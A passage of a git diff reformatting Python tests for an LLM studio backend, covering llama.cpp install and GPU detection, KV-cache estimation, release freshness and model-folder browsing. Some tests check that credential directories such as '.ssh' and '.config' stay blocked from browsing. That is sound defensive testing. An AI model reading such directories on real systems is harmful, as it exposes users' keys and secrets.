test_resolve_prebuilt_cpu_fallback_overrides_intel_vulkan(monkeypatch, capsys, cpu_flag): +def test_resolve_prebuilt_cpu_fallback_overrides_intel_vulkan( + monkeypatch, capsys, cpu_flag +): """Either CPU flag via CLI must suppress Vulkan even on an Intel GPU host: both drop GPU detection (--force-cpu additionally persists, on the install path).""" monkeypatch.setattr( @@ -501,7 +550,12 @@ def test_cli_cpu_flags_thread_force_and_persist( monkeypatch.setattr( sys, "argv", - ["install_llama_prebuilt.py", "--install-dir", str(tmp_path / "llama.cpp"), *flags], + [ + "install_llama_prebuilt.py", + "--install-dir", + str(tmp_path / "llama.cpp"), + *flags, + ], ) assert ilp.main() == ilp.EXIT_SUCCESS assert captured["force_cpu"] is expect_force @@ -573,7 +627,9 @@ def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys): # The --resolve-prebuilt probe must agree with the install path: an # auto-detected Intel host resolves against upstream (Vulkan), not the fork. monkeypatch.setattr( - ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + ilp, + "detect_host", + lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True), ) seen, out = _run_resolve_capture_host(monkeypatch, capsys) assert seen["repo"] == UPSTREAM @@ -642,7 +698,9 @@ class _FakeWinreg: def _probe_with_display_class(monkeypatch, adapters): # The helper lazily does `import winreg`; plant the fake in sys.modules the # same way unsloth_cli/tests/test_start.py fakes it for _refresh_windows_path. - monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(_FakeRegKey(subkeys = adapters))) + monkeypatch.setitem( + sys.modules, "winreg", _FakeWinreg(_FakeRegKey(subkeys = adapters)) + ) return ilp.windows_intel_gpu_in_registry() @@ -763,7 +821,9 @@ def test_detect_host_registry_intel_skips_cim_probe(monkeypatch): winreg = _FakeWinreg( _FakeRegKey( subkeys = { - "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0"}), + "0000": _FakeRegKey( + values = {"MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0"} + ), } ) ) @@ -776,7 +836,9 @@ def test_detect_host_cim_fallback_fires_on_registry_miss(monkeypatch): winreg = _FakeWinreg( _FakeRegKey( subkeys = { - "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684"}), + "0000": _FakeRegKey( + values = {"MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684"} + ), } ) ) @@ -808,7 +870,9 @@ def test_detect_host_cim_rescues_exploding_registry(monkeypatch): raise TypeError(name) host, captured = _detect_windows_host( - monkeypatch, _ExplodingWinreg(), powershell_stdout = "Intel(R) Arc(TM) A770 Graphics" + monkeypatch, + _ExplodingWinreg(), + powershell_stdout = "Intel(R) Arc(TM) A770 Graphics", ) assert host.has_intel_gpu is True assert "powershell" in captured diff --git a/studio/backend/tests/test_kv_cache_estimation.py b/studio/backend/tests/test_kv_cache_estimation.py index 27e9d0f57a..f1e8221f4d 100644 --- a/studio/backend/tests/test_kv_cache_estimation.py +++ b/studio/backend/tests/test_kv_cache_estimation.py @@ -338,7 +338,8 @@ class TestArchSwaPatternDefaults: assert kv_default > 0 assert kv_legacy > 0 assert kv_default < kv_legacy, ( - f"arch fallback should under-shoot legacy estimate: " f"{kv_default} >= {kv_legacy}" + f"arch fallback should under-shoot legacy estimate: " + f"{kv_default} >= {kv_legacy}" ) def test_scalar_sliding_window_pattern_expanded(self): @@ -421,9 +422,21 @@ class TestDynamicSwaResolver: from core.inference.llama_cpp import _period_from_layer_types # gemma3 (1 global/6), gpt-oss (alternating), gemma3n (1/5). - assert _period_from_layer_types((["sliding_attention"] * 5 + ["full_attention"]) * 4) == 6 - assert _period_from_layer_types(["sliding_attention", "full_attention"] * 12) == 2 - assert _period_from_layer_types((["sliding_attention"] * 4 + ["full_attention"]) * 7) == 5 + assert ( + _period_from_layer_types( + (["sliding_attention"] * 5 + ["full_attention"]) * 4 + ) + == 6 + ) + assert ( + _period_from_layer_types(["sliding_attention", "full_attention"] * 12) == 2 + ) + assert ( + _period_from_layer_types( + (["sliding_attention"] * 4 + ["full_attention"]) * 7 + ) + == 5 + ) def test_period_from_layer_types_returns_none_for_aperiodic(self): from core.inference.llama_cpp import _period_from_layer_types @@ -447,7 +460,9 @@ class TestDynamicSwaResolver: == "google/gemma-3-1b-it" ) assert ( - _hf_repo_from_url("https://huggingface.co/google/gemma-3-1b-it/blob/main/config.json") + _hf_repo_from_url( + "https://huggingface.co/google/gemma-3-1b-it/blob/main/config.json" + ) == "google/gemma-3-1b-it" ) for bad in [ @@ -500,7 +515,9 @@ class TestDynamicSwaResolver: b = _backend_from_gguf( "newmodel", _SWA_FIELDS, - general = {"general.source.huggingface.repository": "vendor/newmodel-1b-instruct"}, + general = { + "general.source.huggingface.repository": "vendor/newmodel-1b-instruct" + }, ) assert b._sliding_window_pattern == [(i + 1) % 4 != 0 for i in range(12)] assert calls == ["vendor/newmodel-1b-instruct"] @@ -547,7 +564,9 @@ class TestDynamicSwaResolver: monkeypatch.setattr(lc, "_fetch_swa_entry_from_hf", lambda repo_id: None) # Force failure into Tier 3; bypass Tier 2.5. - monkeypatch.setattr(lc, "_resolve_swa_entry_from_transformers", lambda arch: None) + monkeypatch.setattr( + lc, "_resolve_swa_entry_from_transformers", lambda arch: None + ) b = _backend_from_gguf( "newmodel", _SWA_FIELDS, @@ -593,14 +612,18 @@ class TestTransformersIntrospection: class _FakeLazyMapping(dict): def __getitem__(self, k): - return _FakeBrokenConfig if k == "brokenarch" else super().__getitem__(k) + return ( + _FakeBrokenConfig if k == "brokenarch" else super().__getitem__(k) + ) import sys, types as _types fake_auto = _types.ModuleType("transformers.models.auto.configuration_auto") fake_auto.CONFIG_MAPPING_NAMES = {"brokenarch": "FakeBroken"} fake_auto.CONFIG_MAPPING = _FakeLazyMapping({"brokenarch": "FakeBroken"}) - monkeypatch.setitem(sys.modules, "transformers.models.auto.configuration_auto", fake_auto) + monkeypatch.setitem( + sys.modules, "transformers.models.auto.configuration_auto", fake_auto + ) assert lc._resolve_swa_entry_from_transformers("brokenarch") == 7 def test_returns_none_when_transformers_unavailable(self, monkeypatch): @@ -628,7 +651,9 @@ class TestTransformersIntrospection: from core.inference.llama_cpp import _resolve_swa_entry_from_transformers assert _resolve_swa_entry_from_transformers("totally-fake-arch-xyz") is None - def test_full_resolver_uses_transformers_before_hf_fetch(self, monkeypatch, tmp_path): + def test_full_resolver_uses_transformers_before_hf_fetch( + self, monkeypatch, tmp_path + ): # Bootstrap empty: Tier 2.5 must answer before Tier 3 fires. self._isolate_cache(monkeypatch, tmp_path) from core.inference import llama_cpp as lc @@ -1273,7 +1298,8 @@ class TestServerFlags: "_kv_key_length": 256, "_kv_value_length": 256, "_sliding_window": 512, - "_sliding_window_pattern": [True, True, True, True, True, False] * 4 + [True, True], + "_sliding_window_pattern": [True, True, True, True, True, False] * 4 + + [True, True], } defaults.update(overrides) b = LlamaCppBackend() @@ -1329,7 +1355,9 @@ class TestServerFlags: def test_swa_full_suppresses_checkpoint_term(self): b = self._swa_backend() with_cp = b._estimate_kv_cache_bytes(8192, "f16", ctx_checkpoints = 8) - with_cp_full = b._estimate_kv_cache_bytes(8192, "f16", ctx_checkpoints = 8, swa_full = True) + with_cp_full = b._estimate_kv_cache_bytes( + 8192, "f16", ctx_checkpoints = 8, swa_full = True + ) no_cp_full = b._estimate_kv_cache_bytes(8192, "f16", swa_full = True) # Checkpoints only matter when SWA layers don't already keep n_ctx. assert with_cp_full == no_cp_full @@ -1346,7 +1374,9 @@ class TestServerFlags: for slots in (1, 2, 4, 8): for unified in (True, False): assert ( - b._estimate_kv_cache_bytes(4096, "f16", n_parallel = slots, kv_unified = unified) + b._estimate_kv_cache_bytes( + 4096, "f16", n_parallel = slots, kv_unified = unified + ) == baseline ) @@ -1355,7 +1385,9 @@ class TestServerFlags: baseline = b._estimate_kv_cache_bytes(4096, "f16") for unified in (True, False): assert ( - b._estimate_kv_cache_bytes(4096, "f16", n_parallel = 0, kv_unified = unified) + b._estimate_kv_cache_bytes( + 4096, "f16", n_parallel = 0, kv_unified = unified + ) == baseline ) @@ -1369,7 +1401,9 @@ class TestServerFlags: per_token_swa = 4 * (256 + 256) * 2 # k_swa/val_swa fall back per_slot_swa_cells = min(ctx, 2 * swa) # not clamped at parallel=1 global_bytes = sum( - ctx * per_token_global for f in b._sliding_window_pattern[: b._n_layers] if not f + ctx * per_token_global + for f in b._sliding_window_pattern[: b._n_layers] + if not f ) swa_bytes_per_slot = sum( per_slot_swa_cells * per_token_swa @@ -1380,12 +1414,16 @@ class TestServerFlags: assert global_bytes + swa_bytes_per_slot == baseline # Only the SWA portion scales by parallel for slots in (1, 2, 3, 4): - scaled = b._estimate_kv_cache_bytes(ctx, "f16", n_parallel = slots, kv_unified = False) + scaled = b._estimate_kv_cache_bytes( + ctx, "f16", n_parallel = slots, kv_unified = False + ) # SWA cells clamp to per_slot_ctx when ctx/slots < 2*swa per_slot_ctx = max(1, ctx // slots) cells = min(ctx, 2 * swa, per_slot_ctx) swa_bps = sum( - cells * per_token_swa for f in b._sliding_window_pattern[: b._n_layers] if f + cells * per_token_swa + for f in b._sliding_window_pattern[: b._n_layers] + if f ) assert scaled == global_bytes + slots * swa_bps @@ -1400,7 +1438,9 @@ class TestServerFlags: for slots in (1, 2, 4, 8): for unified in (True, False): assert ( - b._estimate_kv_cache_bytes(8192, "f16", n_parallel = slots, kv_unified = unified) + b._estimate_kv_cache_bytes( + 8192, "f16", n_parallel = slots, kv_unified = unified + ) == baseline ) @@ -1422,7 +1462,9 @@ class TestServerFlags: baseline = b._estimate_kv_cache_bytes(ctx, "f16") flagged = b._estimate_kv_cache_bytes(ctx, "f16", ctx_checkpoints = 4) # 22 SWA layers * 4 cps * 512 cells * 4 heads * (256+256) * 2 bytes - n_swa_layers = sum(1 for f in [True, True, True, True, True, False] * 4 + [True, True] if f) + n_swa_layers = sum( + 1 for f in [True, True, True, True, True, False] * 4 + [True, True] if f + ) per_layer = 4 * 512 * 4 * (256 + 256) * 2 assert flagged == baseline + n_swa_layers * per_layer @@ -1456,7 +1498,9 @@ class TestServerFlags: flagged = b._estimate_kv_cache_bytes( ctx, "f16", ctx_checkpoints = 4, n_parallel = slots, kv_unified = False ) - assert flagged == global_bytes + slots * (swa_bytes_per_slot + cp_extra_per_slot) + assert flagged == global_bytes + slots * ( + swa_bytes_per_slot + cp_extra_per_slot + ) # ── --kv-offload (kv_on_gpu) ─────────────────────────────────── @@ -1518,7 +1562,9 @@ class TestServerFlags: kv_full = b._estimate_kv_cache_bytes(ctx, "f16", swa_full = True) assert kv_full > kv_default # Budget = model + kv_default (rounded up) -- swa_full must not fit. - budget_mib = (1024 * 1024 + kv_default) / (1024 * 1024) / _CTX_FIT_VRAM_FRACTION + 1 + budget_mib = (1024 * 1024 + kv_default) / ( + 1024 * 1024 + ) / _CTX_FIT_VRAM_FRACTION + 1 fitted_default = b._fit_context_to_vram( requested_ctx = ctx, available_mib = int(budget_mib), @@ -1578,7 +1624,9 @@ class TestParallelSWAScaling: "_kv_value_length": 256, "_sliding_window": 512, # 15 SWA + 3 global, mirrors gemma-3-270m - "_sliding_window_pattern": [t == "swa" for t in (["swa"] * 5 + ["global"]) * 3], + "_sliding_window_pattern": [ + t == "swa" for t in (["swa"] * 5 + ["global"]) * 3 + ], } defaults.update(overrides) b = LlamaCppBackend() @@ -1594,7 +1642,9 @@ class TestParallelSWAScaling: for slots in (1, 2, 4, 8): for unified in (True, False): assert ( - b._estimate_kv_cache_bytes(8192, "f16", n_parallel = slots, kv_unified = unified) + b._estimate_kv_cache_bytes( + 8192, "f16", n_parallel = slots, kv_unified = unified + ) == baseline ) @@ -1648,7 +1698,9 @@ class TestParallelSWAScaling: cells = min(ctx, 2 * swa, per_slot_ctx) swa_bps = n_swa * cells * per_token for unified in (True, False): - got = b._estimate_kv_cache_bytes(ctx, "f16", n_parallel = slots, kv_unified = unified) + got = b._estimate_kv_cache_bytes( + ctx, "f16", n_parallel = slots, kv_unified = unified + ) assert got == global_bytes + slots * swa_bps def test_swa_fallback_scales_only_swa_portion(self): @@ -1693,7 +1745,8 @@ class TestParallelSWAScaling: baseline = b._estimate_kv_cache_bytes(ctx, "f16", swa_full = True) for slots in (1, 2, 4, 8): assert ( - b._estimate_kv_cache_bytes(ctx, "f16", swa_full = True, n_parallel = slots) == baseline + b._estimate_kv_cache_bytes(ctx, "f16", swa_full = True, n_parallel = slots) + == baseline ) # ── kv_unified: no-op for memory math ────────────────────────── @@ -1707,8 +1760,12 @@ class TestParallelSWAScaling: ] for label, b in backends: for slots in (1, 2, 4, 8): - u = b._estimate_kv_cache_bytes(8192, "f16", n_parallel = slots, kv_unified = True) - nu = b._estimate_kv_cache_bytes(8192, "f16", n_parallel = slots, kv_unified = False) + u = b._estimate_kv_cache_bytes( + 8192, "f16", n_parallel = slots, kv_unified = True + ) + nu = b._estimate_kv_cache_bytes( + 8192, "f16", n_parallel = slots, kv_unified = False + ) assert u == nu, f"{label} parallel={slots} unified-mismatch" # ── Empirical Gemma-3 270m formula ───────────────────────────── @@ -1845,7 +1902,9 @@ class TestSharedKVLayers: assert full_in_unshared == 4 kv_per = 4 * (256 + 256) * 2 swa_cells = min(ctx, 2 * 1024) - expected = full_in_unshared * ctx * kv_per + sliding_in_unshared * swa_cells * kv_per + expected = ( + full_in_unshared * ctx * kv_per + sliding_in_unshared * swa_cells * kv_per + ) assert b._estimate_kv_cache_bytes(ctx, "f16") == expected def test_shared_layers_reduces_estimate(self): @@ -1901,7 +1960,9 @@ class TestSharedKVLayers: per_slot_ctx = max(1, ctx // slots) swa_cells = min(ctx, 2 * swa, per_slot_ctx) swa_bytes_per_slot = sliding_in_unshared * swa_cells * per_token - flagged = b._estimate_kv_cache_bytes(ctx, "f16", n_parallel = slots, kv_unified = False) + flagged = b._estimate_kv_cache_bytes( + ctx, "f16", n_parallel = slots, kv_unified = False + ) assert flagged == global_bytes + slots * swa_bytes_per_slot def test_composes_with_ctx_checkpoints(self): diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py index b735bd1132..6689cf8b57 100644 --- a/studio/backend/tests/test_linux_external_media_paths.py +++ b/studio/backend/tests/test_linux_external_media_paths.py @@ -71,7 +71,9 @@ def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch): monkeypatch.setattr(external_media.platform, "system", lambda: "Linux") assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB") - assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6") + assert external_media.is_linux_run_media_path( + "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6" + ) @pytest.mark.parametrize( @@ -110,7 +112,9 @@ def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tm assert roots == [mount.resolve()] -def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path): +def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name( + monkeypatch, tmp_path +): base = tmp_path / "run" / "media" normal_mount = base / "dspofu" / "nvmeB" sensitive_target = base / "dspofu" / ".config" @@ -125,7 +129,9 @@ def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkey assert roots == [normal_mount.resolve()] -def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path): +def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant( + monkeypatch, tmp_path +): base = tmp_path / "run" / "media" normal_mount = base / "dspofu" / "nvmeB" sensitive_descendant = normal_mount / ".ssh" / "models" @@ -220,7 +226,9 @@ def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeyp def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): - tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")) + tree = ast.parse( + (_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8") + ) function_names = { "_build_browse_allowlist", "_browse_relative_parts", @@ -282,7 +290,9 @@ def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tm allowlist = ns["_build_browse_allowlist"]() assert media_root.resolve() in allowlist - assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve() + assert ( + ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve() + ) with pytest.raises(_HTTPException) as exc: ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist) diff --git a/studio/backend/tests/test_llama_admission.py b/studio/backend/tests/test_llama_admission.py index 2f04e81926..55162f75f2 100644 --- a/studio/backend/tests/test_llama_admission.py +++ b/studio/backend/tests/test_llama_admission.py @@ -310,7 +310,10 @@ def test_new_key_retains_in_flight_prior_load_queue(): # A new load must not drop a queue that still has an in-flight request. get_llama_admission_queue("http://127.0.0.1:2002") - assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2001", "http://127.0.0.1:2002"} + assert set(llama_admission._QUEUES) == { + "http://127.0.0.1:2001", + "http://127.0.0.1:2002", + } # Once it drains, the next load reclaims it. lease.release() diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py index 2a4f6d19d2..de391e4f67 100644 --- a/studio/backend/tests/test_llama_cpp_context_fit.py +++ b/studio/backend/tests/test_llama_cpp_context_fit.py @@ -225,7 +225,9 @@ def _drive( elif gpus: gpu_indices, use_fit = inst._select_gpus(model_size, gpus) if use_fit and not explicit_ctx: - effective_ctx = min(FALLBACK_CTX, effective_ctx) if effective_ctx > 0 else FALLBACK_CTX + effective_ctx = ( + min(FALLBACK_CTX, effective_ctx) if effective_ctx > 0 else FALLBACK_CTX + ) elif apple_budget_mib > 0 and effective_ctx > 0: # Mirrors the Apple unified-memory branch in load_model: flat MTP reserve # off the budget up front (no-op at 0), sparse-KV floors to FALLBACK_CTX, @@ -240,9 +242,9 @@ def _drive( cache_type_kv, budget_frac = 1.0, ) - cap_footprint_mib = (model_size + inst._estimate_kv_cache_bytes(cap, cache_type_kv)) / ( - 1024 * 1024 - ) + cap_footprint_mib = ( + model_size + inst._estimate_kv_cache_bytes(cap, cache_type_kv) + ) / (1024 * 1024) max_available_ctx = ( cap if cap_footprint_mib <= apple_fit_budget_mib @@ -687,11 +689,23 @@ class TestClassifyGpuOffload: @pytest.mark.parametrize( "marker", - ["CUDA0", "ROCm0", "HIP0", "Metal", "Vulkan0", "OpenCL0", "SYCL0", "MUSA0", "CANN0"], + [ + "CUDA0", + "ROCm0", + "HIP0", + "Metal", + "Vulkan0", + "OpenCL0", + "SYCL0", + "MUSA0", + "CANN0", + ], ) def test_all_gpu_buffer_markers_return_true(self, marker): assert ( - classify_gpu_offload_lines([f"load_tensors: {marker} model buffer size = 8000.0 MiB"]) + classify_gpu_offload_lines( + [f"load_tensors: {marker} model buffer size = 8000.0 MiB"] + ) is True ) @@ -753,7 +767,9 @@ def _install_fake_mlx(monkeypatch, working_set_bytes): mlx = _types.ModuleType("mlx") mlx_core = _types.ModuleType("mlx.core") mlx_core.metal = _types.SimpleNamespace(is_available = lambda: True) - mlx_core.device_info = lambda: {"max_recommended_working_set_size": working_set_bytes} + mlx_core.device_info = lambda: { + "max_recommended_working_set_size": working_set_bytes + } mlx.core = mlx_core monkeypatch.setitem(sys.modules, "mlx", mlx) monkeypatch.setitem(sys.modules, "mlx.core", mlx_core) @@ -807,18 +823,18 @@ class TestAppleContextCap: budget_mib = int(27 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION) // (1024 * 1024) # The native footprint over-commits the budget -- this is the bug. - native_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(262144)) // ( - 1024 * 1024 - ) + native_footprint_mib = ( + model_size_fit + inst._estimate_kv_cache_bytes(262144) + ) // (1024 * 1024) assert native_footprint_mib > budget_mib capped = inst._fit_context_to_vram( 262144, budget_mib, model_size_fit, None, budget_frac = 1.0 ) assert capped < 262144 - capped_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(capped)) // ( - 1024 * 1024 - ) + capped_footprint_mib = ( + model_size_fit + inst._estimate_kv_cache_bytes(capped) + ) // (1024 * 1024) assert capped_footprint_mib <= budget_mib diff --git a/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py index 5525bc3ea9..9d02d66941 100644 --- a/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py +++ b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py @@ -16,7 +16,9 @@ from core.inference.llama_cpp import LlamaCppBackend @pytest.fixture def backend(monkeypatch): monkeypatch.setattr(LlamaCppBackend, "_kill_orphaned_servers", lambda self: 0) - monkeypatch.setattr(llama_cpp_module.atexit, "register", lambda *_args, **_kwargs: None) + monkeypatch.setattr( + llama_cpp_module.atexit, "register", lambda *_args, **_kwargs: None + ) return LlamaCppBackend() @@ -31,7 +33,9 @@ def test_effective_parallel_slots_commit_uses_final_positive_parallel(backend): @pytest.mark.parametrize("value", [None, 0, -2, "not-an-int"]) -def test_effective_parallel_slots_commit_invalid_value_falls_back_to_one(backend, value): +def test_effective_parallel_slots_commit_invalid_value_falls_back_to_one( + backend, value +): backend._commit_effective_parallel_slots(value) assert backend.effective_parallel_slots == 1 diff --git a/studio/backend/tests/test_llama_cpp_freshness.py b/studio/backend/tests/test_llama_cpp_freshness.py index 08e1334ac9..0e55b8eaef 100644 --- a/studio/backend/tests/test_llama_cpp_freshness.py +++ b/studio/backend/tests/test_llama_cpp_freshness.py @@ -189,7 +189,9 @@ def test_latest_published_release_returns_none_on_network_failure(monkeypatch): assert fr.latest_published_release("unslothai/llama.cpp") is None -def test_latest_published_release_keeps_old_cache_on_transient_failure(monkeypatch, tmp_path): +def test_latest_published_release_keeps_old_cache_on_transient_failure( + monkeypatch, tmp_path +): # Disk entry older than TTL + network fail -> return cached value. cache_dir = tmp_path / ".freshness" cache_dir.mkdir() @@ -203,7 +205,9 @@ def test_latest_published_release_keeps_old_cache_on_transient_failure(monkeypat # check_prebuilt_freshness end-to-end. -def test_check_prebuilt_freshness_reports_stale_when_old_and_behind(monkeypatch, tmp_path): +def test_check_prebuilt_freshness_reports_stale_when_old_and_behind( + monkeypatch, tmp_path +): install_dir = tmp_path / "llama.cpp" _write_marker( install_dir, @@ -213,7 +217,9 @@ def test_check_prebuilt_freshness_reports_stale_when_old_and_behind(monkeypatch, .replace("+00:00", "Z"), ) bin_path = _fake_binary(install_dir, layout = "root") - monkeypatch.setattr(fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300") + monkeypatch.setattr( + fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300" + ) info = fr.check_prebuilt_freshness(str(bin_path)) assert info["has_marker"] is True assert info["stale"] is True @@ -233,7 +239,9 @@ def test_check_prebuilt_freshness_not_stale_when_tag_matches(monkeypatch, tmp_pa .replace("+00:00", "Z"), ) bin_path = _fake_binary(install_dir, layout = "root") - monkeypatch.setattr(fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300") + monkeypatch.setattr( + fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300" + ) info = fr.check_prebuilt_freshness(str(bin_path)) assert info["stale"] is False assert info["installed_tag"] == "b9300" @@ -251,7 +259,9 @@ def test_check_prebuilt_freshness_not_stale_within_threshold(monkeypatch, tmp_pa .replace("+00:00", "Z"), ) bin_path = _fake_binary(install_dir, layout = "root") - monkeypatch.setattr(fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300") + monkeypatch.setattr( + fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300" + ) info = fr.check_prebuilt_freshness(str(bin_path)) assert info["stale"] is False assert info["age_days"] == 1 @@ -264,7 +274,9 @@ def test_check_prebuilt_freshness_fails_open_without_marker(tmp_path): assert info["stale"] is False -def test_check_prebuilt_freshness_fails_open_when_github_unreachable(monkeypatch, tmp_path): +def test_check_prebuilt_freshness_fails_open_when_github_unreachable( + monkeypatch, tmp_path +): install_dir = tmp_path / "llama.cpp" _write_marker( install_dir, @@ -281,11 +293,15 @@ def test_check_prebuilt_freshness_fails_open_when_github_unreachable(monkeypatch assert info["latest_tag"] is None -def test_check_prebuilt_freshness_handles_unparseable_install_timestamp(monkeypatch, tmp_path): +def test_check_prebuilt_freshness_handles_unparseable_install_timestamp( + monkeypatch, tmp_path +): install_dir = tmp_path / "llama.cpp" _write_marker(install_dir, tag = "b9190", installed_at_utc = "not-a-date") bin_path = _fake_binary(install_dir, layout = "root") - monkeypatch.setattr(fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300") + monkeypatch.setattr( + fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300" + ) info = fr.check_prebuilt_freshness(str(bin_path)) assert info["stale"] is False assert info["age_days"] is None @@ -301,7 +317,9 @@ def test_check_prebuilt_freshness_respects_custom_threshold(monkeypatch, tmp_pat .replace("+00:00", "Z"), ) bin_path = _fake_binary(install_dir, layout = "root") - monkeypatch.setattr(fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300") + monkeypatch.setattr( + fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9300" + ) info = fr.check_prebuilt_freshness(str(bin_path), threshold_days = 1) assert info["stale"] is True @@ -310,7 +328,9 @@ def test_check_prebuilt_freshness_respects_custom_threshold(monkeypatch, tmp_pat def test_format_stale_warning_contains_actionable_command(): - msg = fr.format_stale_warning({"installed_tag": "b9190", "latest_tag": "b9300", "age_days": 5}) + msg = fr.format_stale_warning( + {"installed_tag": "b9190", "latest_tag": "b9300", "age_days": 5} + ) assert "b9190" in msg assert "b9300" in msg assert "5 days" in msg @@ -318,7 +338,9 @@ def test_format_stale_warning_contains_actionable_command(): def test_format_stale_warning_singular_day(): - msg = fr.format_stale_warning({"installed_tag": "b9190", "latest_tag": "b9300", "age_days": 1}) + msg = fr.format_stale_warning( + {"installed_tag": "b9190", "latest_tag": "b9300", "age_days": 1} + ) assert "1 day" in msg assert "1 days" not in msg @@ -329,7 +351,9 @@ def test_format_stale_warning_singular_day(): def test_parse_base_build(): assert fr.parse_base_build("b9596") == 9596 assert fr.parse_base_build(" b9596 ") == 9596 - assert fr.parse_base_build("b9596-mix-e6f2453") == 9596 # mix suffix doesn't defeat it + assert ( + fr.parse_base_build("b9596-mix-e6f2453") == 9596 + ) # mix suffix doesn't defeat it assert fr.parse_base_build("9596") is None assert fr.parse_base_build("master-abc") is None assert fr.parse_base_build("") is None @@ -387,7 +411,9 @@ def test_check_prebuilt_freshness_downgrade_guard(monkeypatch, tmp_path): .replace("+00:00", "Z"), ) bin_path = _fake_binary(install_dir, layout = "root") - monkeypatch.setattr(fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + monkeypatch.setattr( + fr, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518" + ) info = fr.check_prebuilt_freshness(str(bin_path)) assert info["behind"] is False assert info["stale"] is False @@ -431,7 +457,9 @@ def test_fetch_latest_release_tag_uses_publish_time(monkeypatch): "published_at": "2026-06-12T00:00:00Z", }, ] - monkeypatch.setattr(urllib.request, "urlopen", lambda req, timeout = 5.0: _Resp(payload)) + monkeypatch.setattr( + urllib.request, "urlopen", lambda req, timeout = 5.0: _Resp(payload) + ) assert fr._fetch_latest_release_tag("unslothai/llama.cpp") == "b9596-mix-e6f2453" @@ -443,7 +471,9 @@ def _seed_disk_cache(tmp_path: Path, latest_tag: str) -> Path: cache_dir = tmp_path / ".freshness" cache_dir.mkdir(exist_ok = True) cache_file = cache_dir / "unslothai__llama.cpp.json" - cache_file.write_text(json.dumps({"fetched_at": time.time(), "latest_tag": latest_tag})) + cache_file.write_text( + json.dumps({"fetched_at": time.time(), "latest_tag": latest_tag}) + ) return cache_file @@ -468,7 +498,9 @@ def test_reset_caches_drop_disk_on_missing_dir_is_noop(tmp_path): fr.reset_caches(drop_disk = True) # must not raise -def test_drop_disk_lets_banner_fail_open_after_same_base_mix_swap(monkeypatch, tmp_path): +def test_drop_disk_lets_banner_fail_open_after_same_base_mix_swap( + monkeypatch, tmp_path +): # P2 #2: the disk cache holds a still-fresh same-base mix (b9596-mix-aaa) # from before an update to a *different* same-base mix (b9596-mix-bbb). # The post-install path drops the disk cache; if the forced refresh is then @@ -550,7 +582,10 @@ def test_update_size_unsloth_prebuilt_exact_match(monkeypatch): } }, ) - assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 123_456_789 + assert ( + fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") + == 123_456_789 + ) def test_update_size_macos_fork_asset_suffix_fallback(monkeypatch): @@ -564,7 +599,10 @@ def test_update_size_macos_fork_asset_suffix_fallback(monkeypatch): monkeypatch, {"unslothai/llama.cpp": {"llama-b9300-bin-macos-arm64.tar.gz": 55_000_000}}, ) - assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 55_000_000 + assert ( + fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") + == 55_000_000 + ) def test_update_size_upstream_ubuntu_uses_binary_repo(monkeypatch): @@ -585,7 +623,10 @@ def test_update_size_upstream_ubuntu_uses_binary_repo(monkeypatch): }, }, ) - assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 42_000_000 + assert ( + fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") + == 42_000_000 + ) def test_update_size_upstream_windows_uses_binary_repo(monkeypatch): @@ -599,7 +640,10 @@ def 